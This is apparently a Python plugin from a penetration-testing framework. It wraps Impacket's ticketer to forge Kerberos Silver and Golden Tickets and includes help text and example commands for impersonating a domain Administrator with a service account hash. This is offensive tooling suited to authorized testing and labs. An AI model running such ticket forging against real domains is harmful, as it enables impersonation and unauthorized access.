#!/usr/bin/env python3
"""
souleyez.plugins.impacket_ticketer - Kerberos ticket forging (Silver/Golden Ticket)
"""

import subprocess
import time
from typing import List

from .impacket_common import find_impacket_command
from .plugin_base import PluginBase

HELP = {
    "name": "Impacket Ticketer - Kerberos Ticket Forging",
    "description": (
        "Need to forge Kerberos tickets for impersonation?\n\n"
        "Ticketer creates Silver Tickets (forged TGS) or Golden Tickets (forged TGT) "
        "to impersonate any user without knowing their password.\n\n"
        "Use ticketer after cracking a service account password to:\n"
        "- Create Silver Ticket impersonating Administrator for a specific service\n"
        "- Access services (MSSQL, CIFS, HTTP) as any domain user\n"
        "- Bypass normal authentication entirely\n\n"
        "Quick tips:\n"
        "- Requires: service account NTLM hash, domain SID, SPN\n"
        "- Silver Ticket only works for the specified service (e.g., MSSQLSvc)\n"
        "- Output is a .ccache file for use with Kerberos tools\n"
    ),
    "usage": 'souleyez jobs enqueue impacket-ticketer <target> --args "-spn MSSQLSvc/host:1433 -domain-sid S-1-5-21-xxx -nthash xxx -domain domain.local Administrator"',
    "examples": [
        'souleyez jobs enqueue impacket-ticketer 10.129.18.21 --args "-spn MSSQLSvc/breachdc.breach.vl:1433 -domain-sid S-1-5-21-xxx-yyy-zzz -nthash abc123 -domain breach.vl Administrator"',
    ],
    "flags": [
        ["-spn <spn>", "Service Principal Name for Silver Ticket"],
        ["-domain-sid <sid>", "Domain SID (S-1-5-21-xxx-yyy-zzz)"],
        ["-nthash <hash>", "NTLM hash of service account"],
        ["-domain <domain>", "Domain FQDN (e.g., breach.vl)"],
        ["-user-id <id>", "User ID to impersonate (default: 500 for Administrator)"],
    ],
}


class ImpacketTicketerPlugin(PluginBase):
    name = "Impacket Ticketer"
    tool = "impacket-ticketer"
    category = "credential_access"
    HELP = HELP

    def build_command(
        self, target: str, args: List[str] = None, label: str = "", log_path: str = None
    ):
        """Build command for background execution with PID tracking."""
        args = args or []

        # Replace <target> placeholder
        args = [arg.replace("<target>", target) for arg in args]

        # Find the correct command (varies by install: apt vs pipx)
        ticketer_cmd = find_impacket_command("ticketer")
        if not ticketer_cmd:
            return None  # Tool not installed

        # Build command - ticketer expects args then username at the end
        cmd = [ticketer_cmd]
        cmd.extend(args)

        return {"cmd": cmd, "timeout": 300}

    def run(
        self, target: str, args: List[str] = None, label: str = "", log_path: str = None
    ) -> int:
        """Execute impacket-ticketer and write output to log_path."""

        args = args or []

        # Replace <target> placeholder
        args = [arg.replace("<target>", target) for arg in args]

        # Find the correct command (varies by install: apt vs pipx)
        ticketer_cmd = find_impacket_command("ticketer")
        if not ticketer_cmd:
            if log_path:
                with open(log_path, "w", encoding="utf-8") as fh:
                    fh.write("ERROR: ticketer not found. Install with:\n")
                    fh.write("  Kali: sudo apt install python3-impacket\n")
                    fh.write("  Ubuntu: pipx install impacket\n")
            return 1

        # Build command
        cmd = [ticketer_cmd]
        cmd.extend(args)

        if not log_path:
            try:
                proc = subprocess.run(
                    cmd, capture_output=True, timeout=300, check=False
                )
                return proc.returncode
            except Exception:
                return 1

        try:
            # Create metadata header
            with open(log_path, "w", encoding="utf-8", errors="replace") as fh:
                fh.write(f"=== Plugin: Impacket Ticketer ===\n")
                fh.write(f"Target: {target}\n")
                fh.write(f"Args: {args}\n")
                fh.write(f"Label: {label}\n")
                fh.write(
                    f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                )
                fh.write(f"Command: {' '.join(cmd)}\n\n")

            # Run ticketer
            proc = subprocess.run(
                cmd, capture_output=True, timeout=300, check=False, text=True
            )

            # Write output
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                if proc.stdout:
                    fh.write(proc.stdout)
                if proc.stderr:
                    fh.write(proc.stderr)
                fh.write(
                    f"\n=== Completed: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())} ===\n"
                )
                fh.write(f"Exit Code: {proc.returncode}\n")

            return proc.returncode

        except subprocess.TimeoutExpired:
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                fh.write("\n\nERROR: ticketer timed out after 300 seconds\n")
            return 124

        except Exception as e:
            with open(log_path, "a", encoding="utf-8", errors="replace") as fh:
                fh.write(f"\n\nERROR: {str(e)}\n")
            return 1


plugin = ImpacketTicketerPlugin()
